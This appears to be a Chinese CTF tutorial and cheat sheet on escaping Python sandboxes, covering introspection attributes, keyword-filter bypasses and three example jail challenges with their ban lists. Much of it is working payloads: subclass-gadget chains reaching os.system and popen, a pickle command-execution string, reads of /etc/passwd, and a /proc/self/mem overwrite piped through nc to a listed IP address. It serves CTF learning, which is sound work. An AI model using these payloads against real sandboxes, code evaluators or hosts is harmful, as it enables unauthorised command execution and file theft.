一、python 绕过沙盒中常见的函数、属性、模块解释(备忘)

1.func_globals

返回包含函数全局变量的字典的引用————————定义函数的模块的全局命名空间。
function.func_globals

>>> def foo(): pass
...
>>> foo.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', 'foo': <function     foo at 0x7f3a056c7938>, '__doc__': None, '__package__': None}

2.__getattribute__

被调用无条件地实现类的实例的属性访问。

object. getattribute(self, name)
1)self 必需的。类的实例,在调用时自动传递。
2)name 必需的。属性的名称。

''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')

3.__dict__

模块对象有一个由dictionary对象实现的名称空间(这是由模块中定义的函数的func_globals属性引用的字典)。属性引用在本词典中被翻译为查找,例如,
m.x相当于m.dict [“x”]。

>>> ''.__class__.__dict__['upper']  
<method 'upper' of 'str' objects>

>>> ''.__class__.upper
<method 'upper' of 'str' objects>

4.dir()

将显示对象的属性的名称,__dict__是dir()的子集
dir ([object])

>>> dir(''.__class__)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

5.__base__

每个类都有一个__base__属性能列出器基类
注意:__base____bases__的区别
他们都是返回当前类的基类,只不过__bases__返回的是一个元祖

>>> ''.__class__.__base__
<type 'basestring'>

>>> ''.__class__.__bases__
(<type 'basestring'>,)

6.__mro__

递归地显示父类一直到 object

>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

7.__subclasses__()[]

获取子类

>>> ''.__class__.__mro__[2].__subclasses__()[40]
<type 'file'>

8.__import__

import 一个模块

__import__ (name)

>>> __import__('os')
<module 'os' from '/usr/lib/python2.7/os.pyc'>

9.__bulitin__

Python的内建模块,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀
在Python2.X版本中,内建模块被命名为__builtin__,而到了Python3.X版本中,却更名为builtins。

10.__builtins__

是对内建模块的一个引用
这个和__builtin__有一些区别

1)无论任何地方要想使用内建模块,都必须在该位置所处的作用域中导入__builtin__内建模块;而对于__builtins__却不用导入,它在任何模块都直接可见,可以把它当作内建模块直接使用

2)__builtins__虽是对内建模块的引用,但这个引用要看是使用__builtins__的模块是哪个模块

① 在主模块__main__中:
__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此

② 在__main__模块中:
__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身。它在任何地方都可见。此时__builtins__的类型是字典。

11.reload

重新加载之前导入的模块
reload (module)

>>> import sys

>>> reload(sys)
<module 'sys' (built-in)>

12.getattr

返回对象的命名属性的值。
getattr (object, name)
相当于 object.name
name 必须是一个字符串

>>> class A():
...     bar =1
...

>>> a = A()

>>> getattr(a,'bar')
1

13.__getattr__

当属性查找没有在通常的位置找到属性时调用(例如,它不是实例属性,也不是在类树中找到self)

14.__name__

这个值获得的只是一个字符串,不是模块的引用
要使用sys.modules[__name__]才获得的是模块的引用

>>> sys.modules['__main__']
<module '__main__' (built-in)>

15.func_code

返回表示已编译函数体的代码对象。

function.func_code

>>> def foo():
...     a=1
...

>>> foo.func_code
<code object foo at 0x7f3a0570d930, file "<stdin>", line 1>

注意:这个代码对象必须存在几个参数

co_argcount 这个参数是返回该函数的参数

>>> foo.func_code.co_argcount
0    

co_code 返回函数的字节码(可用dis.dis(字节码)将其转换为汇编格式)

>>> foo.func_code.co_code
'd\x01\x00}\x00\x00d\x00\x00S'

16.timeit 模块

这个模块是用来测试代码的执行时间的,能执行代码自然能执行命令
使用前需要导入timeit

使用:

timeit(命令,number=1)

>>> import timeit
>>> timeit.timeit("__import__('os').system('dir')",number=1)

其中命令是字符串的形式

17.platform 模块

由名字可以知道这个模块和平台有关,里面的函数主要是为了返回和平台的一些信息,但是我们还是可以调用
popen 这个函数执行命令

print platform.popen('命令',mode='r',bufsize= -1).read()

18.__globals__

function.__globals__ 等同于globals(),dir() 的结果是上面两个的键值
在fuzz 中常常和 __init__配合使用,__init__ 一般跟在类的后面,相当于实例化这个类

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

19.__call__

使实例能够像函数一样被调用
x.call 等同于 x()

>>> func.__call__
<method-wrapper '__call__' of function object at 0x7f3a056c7e60>

20.pickle

这个是python 的一个序列化的方法,用于将对象存储在字符串对象中,实现对象的持久化

基本的语法:
序列化:

import pickle
test=('this is a test',3.14,[1,2,3,"hh"])
p=pickle.dumps(test)

反序列化:

n=pickle.loads(p)

我们可以通过 pickle 的方式加载命令

pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")

21.os/subprocess/commands

os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

这里重点说一下subprocess 吧
1.subprocess.run()
Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。

2.subprocess.call()
执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。

3.subprocess.check_call()
Python 2.5中新增的函数。 执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。

4.subprocess.check_output()
Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。

5.subprocess.getoutput(cmd)
接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。

6.subprocess.getstatusoutput(cmd)
执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。

22.eval/exec/execfile

1.eval(expression):
返回python 表达式执行的结果

2.exec(source)
动态执行python代码。也就是说exec可以执行复杂的python代码,而不像eval函数那样只能计算一个表达式的值。exec函数的返回值永远为None。

3.execfile(filename)
执行一个文件的内容
文件是将被解析为python序列的类似于模块的文件

23.importlib模块

import importlib

importlib.import_module(module)

他可以代替import 非常好

二、什么是python 的沙箱逃逸

所谓的沙箱逃逸就是从一个被阉割和做了严格限制的python执行环境中获取到更高的权限,甚至getshell,这是我们的最终的目的,但是实现这个目标之前我们必须解决的就是如何绕过重重的waf去使用python执行命令

python 能执行命令或者存在执行命令功能的函数是一定的,但是他的存在形式是多样的,他过滤了这种形式我们就换一种形式表示,正所谓曲线救国

三、攻与防的战争

简单的梳理一下思路:

1.我们想直接引入执行命令的模块os等
遭遇过滤:

re.compile('import\s+(os|commands|subprocess|sys)')

2.我们不直接使用import 用__import__()取而代之
遭遇过滤:__import__(module)

3.我们不直接用__import__(module) 转换编码
__import__("pbzznaqf".decode('rot_13'))
遭遇过滤__import__

4.不用__import__行不行?当然可以,我们有内建函数直接调用
__bulitin__/__bulitins__
常见的一些危险的函数都是__builtin__里面的,我们可以直接用 eval() exec() execfile()
遭遇过滤:把__builtin__ 中的危险函数都del掉,看你怎么绕

5.reload() 函数重新加载完整的没有阉割的__builtin__
reload(__builtin__)
遭遇过滤:reload()也是一个内建函数,如果我们在__builtin__中把reload()也del掉呢?

6.imp模块也是一个可以引入东西的一个模块
import imp
imp.reload(__builtin__)
再次成功引入
遭遇过滤:看来还是没有从源头del干净,我们知道python 的模块其实都存放在sys.modules中,不要啥就删啥。

sys.modules['os']=None

这样就OK了

7.这回问题有点棘手,要知道如何应对还要仔细分析一下import的步骤
import 的步骤:

1)如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A
2)如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中

那我们可以向更源头追溯
我们都知道任何的模块归根道理都是文件,只要文件还在,我们就一定有办法!
比如类unix 的系统中,os 模块的路径一般都是/usr/lib/python2.7/os.py,那我们就直接写这个

import sys

sys.modules['os'] = '/usr/lib/python2.7/os.py'

import os

遭遇过滤:我把你sys也一并del,让你用!哼

8.和上面一样的思路,文件还在我们就直接用文件,import 的本质就是把对应的模块文件执行一遍

execfile('/usr/lib/python2.7/os.py')

system('cat /etc/passwd')

遭遇过滤:execfile() 别用了

9.那我用文件读取函数读入文件,然后再exec() 也能实现一样的效果

遭遇过滤:不耐烦了,我也不过滤了,直接删文件

10.这样的话,我就想起了,没有编译器手写编译器的梗,这里完全可以用嘛。。。。
但是这样鲁莽地删除关键函数文件是很危险的,很容易出现莫名的依赖问题,不推荐使用

好家伙。。。。这一串攻防对决真的是非常的精彩了,淋漓尽致地展现了攻与防的较量

四、整理一些小trick

1.完整过滤整个匹配语句我们只要使用变量替换的方式绕过

a = open
print(a("/etc/passwd").read())

2.函数名后面加点空格换一行都能执行

print open
("/etc/passwd").read()

3.使用第三方库的执行命令的函数
如果程序中调用了第三方的库,恰好这个库有执行命令的函数,那么肯定是再好不过了

from numpy.distutils.exec_command import _exec_command as system
system("ls /")

4.使用别名

import os as o

5.字符串拼接

"l"+"s"
"func_global"+"s"

6.字符串编码或者其他操作
如果过滤的是键值对中的key(为了强调是字符串类型)
方法一:使用编码的转换

'X19pbXBvcnRfXw=='.decode('base64')

方法二:使用python的字符串操作

s = "emit"
s = s [::-1]
print a[s]

五、魔法方法

这节是基于之前我开始讲的那些基本的概念和语法的,如果不了解还是请往第一节看,这个很重要,因为这个大概就是曲线救国的精髓了

1.魔法方法简介

传说,Python 天生体内就拥有着王的印记,它们总是被双下划线包围,他们是面向对象的python的灵魂, 国难当头他们就被激发出来,曲线救国……

所谓曲线救国的“曲线”,就是对方封锁了从山下上半山腰营地的道路,那我们可以偷偷从山背后上山到山顶,然后从山顶下到半山腰的营地偷袭。

2.一切皆对象的py

我们看看python是怎么一切皆对象的

>>> type([])
<type 'list'>

>>> type(1)
<type 'int'>

>>> type(1.1)
<type 'float'>

>>> type('')
<type 'str'>

>>> type(())
<type 'tuple'>

>>> type({})
<type 'dict'>

这些类型都是对象,我现在就以 '' 为例

1)我们可以从一个对象实例向上追溯到他的类
''.__class__

>>> type(''.__class__)
<type 'type'>

2)我们从他的类向上追溯到他的基类,直至object根类

①多次使用__base__ 或者 __bases__

>>> ''.__class__.__base__
<type 'basestring'>

>>> ''.__class__.__base__.__base__
<type 'object'>

>>> ''.__class__.__bases__[0]
<type 'basestring'>

>>> ''.__class__.__bases__[0].__bases__[0]
<type 'object'>


>>> ''.__class__.__bases__
(<type 'basestring'>,)

>>> ''.__class__.__bases__.__class__
<type 'tuple'>

>>> ''.__class__.__bases__.__class__.__bases__[0]
<type 'object'>

②直接使用__mro__

>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

>>> ''.__class__.__mro__[2]
<type 'object'>

3)我们从根类object向下回溯,使用 __subclasses__

>>> ''.__class__.__mro__[2]
<type 'object'>

>>> ''.__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x8f8740>

>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

哇,这也太多了吧,我怎么知道我该选哪个??
别怕,我python本就是用来写脚本的,写一个循环遍历一下岂不是简简单单??

我这里就直接把bendawang 师傅文章中的代码拿过来

#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in [].__class__.__base__.__subclasses__():
    try:
        if 'os' in item.__init__.__globals__:
            print cnt,item
        cnt+=1
    except:
        print "error",cnt,item
        cnt+=1
        continue

这段代码的目的就是找到调用 os 模块的入口,当然我们只要把os 替换成sys 等其他模块也能得到对应的结果。

#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in "".__class__.__mro__[-1].__subclasses__():
    try:
        cnt2=0
        for i in item.__init__.__globals__:
            if 'eval' in item.__init__.__globals__[i]:
                print cnt,item,cnt2,i
            cnt2+=1
        cnt+=1
    except:
        print "error",cnt,item
        cnt+=1
        continue

这第二个脚本相当于就是跑了两层

这两个脚本的思路非常的好,赶紧搬过来收藏一下,以后作为参考hhh

4)简单的整理一下前辈们已经fuzz出来的一些结果:

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')

"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('_    _import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('_    _import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[40](filename).read()

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['sys'].modules['os'].popen('ls').read()

六、内存破坏突破python沙盒

这个方法来源于 Plaid CTF 2014年的一道题__nightmares__
这道题的出题思路并不是web的单纯的绕过,而是涉及到了内存的破坏与利用
附上题目代码:

#!/usr/bin/python -u
'''
You may wish to refer to solutions to the pCTF 2013 "pyjail" problem if
you choose to attempt this problem, BUT IT WON'T HELP HAHAHA.
'''

from imp import acquire_lock
from threading import Thread
from sys import modules, stdin, stdout

# No more importing!
x = Thread(target = acquire_lock, args = ())
x.start()
x.join()
del x
del acquire_lock
del Thread

# No more modules!
for k, v in modules.iteritems():
    if v == None: continue
    if k == '__main__': continue
    v.__dict__.clear()

del k, v

__main__ = modules['__main__']
modules.clear()
del modules

# No more anything!
del __builtins__, __doc__, __file__, __name__, __package__

print >> stdout, "Get a shell. The flag is NOT in ./key, ./flag, etc."
while 1:
    exec 'print >> stdout, ' + stdin.readline() in {'stdout':stdout}

WP address :https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/

七、一些简单的python 沙盒

下面列出一些python 的沙盒代码,给学习的人一些参考

题目一、

  ____                  
 |  _ \ _   _ _ __      
 | |_) | | | | '_ \     
 |  _ <| |_| | | | |    
 |_| \_\__,_|_| |_|    


Escape from the dark house built with python :)

Try to getshell then find the flag!


>>>#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-04-09 23:30:58
# @Author  : Xu (you@example.org)
# @Link    : https://xuccc.github.io/
# @Version : $Id$

from sys import modules
from cpython import get_dict
from types import FunctionType

main  = modules['__main__'].__dict__
origin_builtins = main['__builtins__'].__dict__

def delete_type():
    type_dict = get_dict(type)
    del type_dict['__bases__']
    del type_dict['__subclasses__']

def delete_func_code():
    func_dict = get_dict(FunctionType)
    del func_dict['func_code']

def safe_import(__import__,whiteList):
    def importer(name,globals={},locals={},fromlist=[],level=-1):
        if name in whiteList:
            return __import__(name,globals,locals,fromlist,level)
        else:
            print "HAHA,[%s]  has been banned~" % name
    return importer

class ReadOnly(dict):
    """docstring for ReadOnlu"""
    def __delitem__(self,keys):
        raise ValueError(":(")        
    def pop(self,key,default=None):
        raise ValueError(":(")        
    def popitem(self):
        raise ValueError(":(")        
    def setdefault(self,key,value):
        raise ValueError(":(")        
    def __setitem__(self,key,value):
        raise ValueError(":(")        
    def __setattr__(self, name, value):
        raise ValueError(":(")
    def update(self,dict,**kwargs):
        raise ValueError(":(")        

def builtins_clear():
    whiteList = "raw_input  SyntaxError   ValueError  NameError  Exception __import__".split(" ")
    for mod in __builtins__.__dict__.keys():
        if mod not in whiteList:
            del __builtins__.__dict__[mod]

def input_filter(string):
    ban = "exec eval pickle os subprocess input sys ls cat".split(" ")
    for i in ban:
        if i in string.lower():
            print "{} has been banned!".format(i)
            return ""
    return string

# delete_type();
del delete_type
delete_func_code();del delete_func_code
builtins_clear();del builtins_clear


whiteMod = []
origin_builtins['__import__'] = safe_import(__import__,whiteMod)
safe_builtins = ReadOnly(origin_builtins);del ReadOnly
main['__builtins__'] = safe_builtins;del safe_builtins

del get_dict,modules,origin_builtins,safe_import,whiteMod,main,FunctionType
del __builtins__, __doc__, __file__, __name__, __package__

print """
  ____                  
 |  _ \ _   _ _ __      
 | |_) | | | | '_ \     
 |  _ <| |_| | | | |    
 |_| \_\\__,_|_| |_|    


Escape from the dark house built with python :)

Try to getshell then find the flag!

"""

while 1:
    inp = raw_input('>>>')
    cmd = input_filter(inp)
    try:
        exec cmd 
    except NameError, e:
        print "wow something lose!We can\'t find it !  D:"
    except SyntaxError,e:
        print "Noob! Synax Wrong! :("
    except Exception,e:
        print "unknow error,try again  :>"

>>>Traceback (most recent call last):
  File "/home/ctf/sandbox.py", line 92, in <module>
    inp = raw_input('>>>')
EOFError: EOF when reading a line

补充:这道题就是最近的异常比赛的题目源码,我做题 下载了下来,出题者本来的意图应该就是让我们使用内存攻击的pwn 的手法,但是还是被我们web选手饶了过去
下面给出pwn的一种解法:

# look up the addresses
objdump -R python.out | grep -E 'fopen|system' 

# copy 8 bytes from the system address to the fopen64 address, and get flag
echo "(lambda r, w: r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('grep ciscn -r /home/ctf/')) (().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'), ().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','w',0))" | nc 117.78.43.163 31836

接下来是web解(来源于梅子酒师傅)

s = "func_global"+"s"
d = "sy"+"s"
b = "o"+"s"
c = "l"+"s"

print(''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__(s)['linecache'].__dict__[d].modules[b].popen(c).read())

题目二

#!/usr/bin/env python
from future import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [ 
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = builtins.dict.keys() 
targets.remove('raw_input') 
targets.remove('print') 
for x in targets: 
    del builtins.dict[x]

while 1: 
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

题目三

#!/usr/bin/env python
from re import findall
def make_secure():
    UNSAFE = ['open',
              'file',
              'execfile',
              'compile',
              'reload',
              '__import__',
              'eval',
              'input']
    for func in UNSAFE:
        del __builtins__.__dict__[func]

# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
    try:
        # Read user input until the first whitespace character
        inp = findall('\S+', raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
    print 'Exception:', e

参考链接:
http://www.bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

http://www.0aa.me/index.php/archives/123/

https://xz.aliyun.com/t/52

https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/

https://blog.csdn.net/qq_35078631/article/details/78504415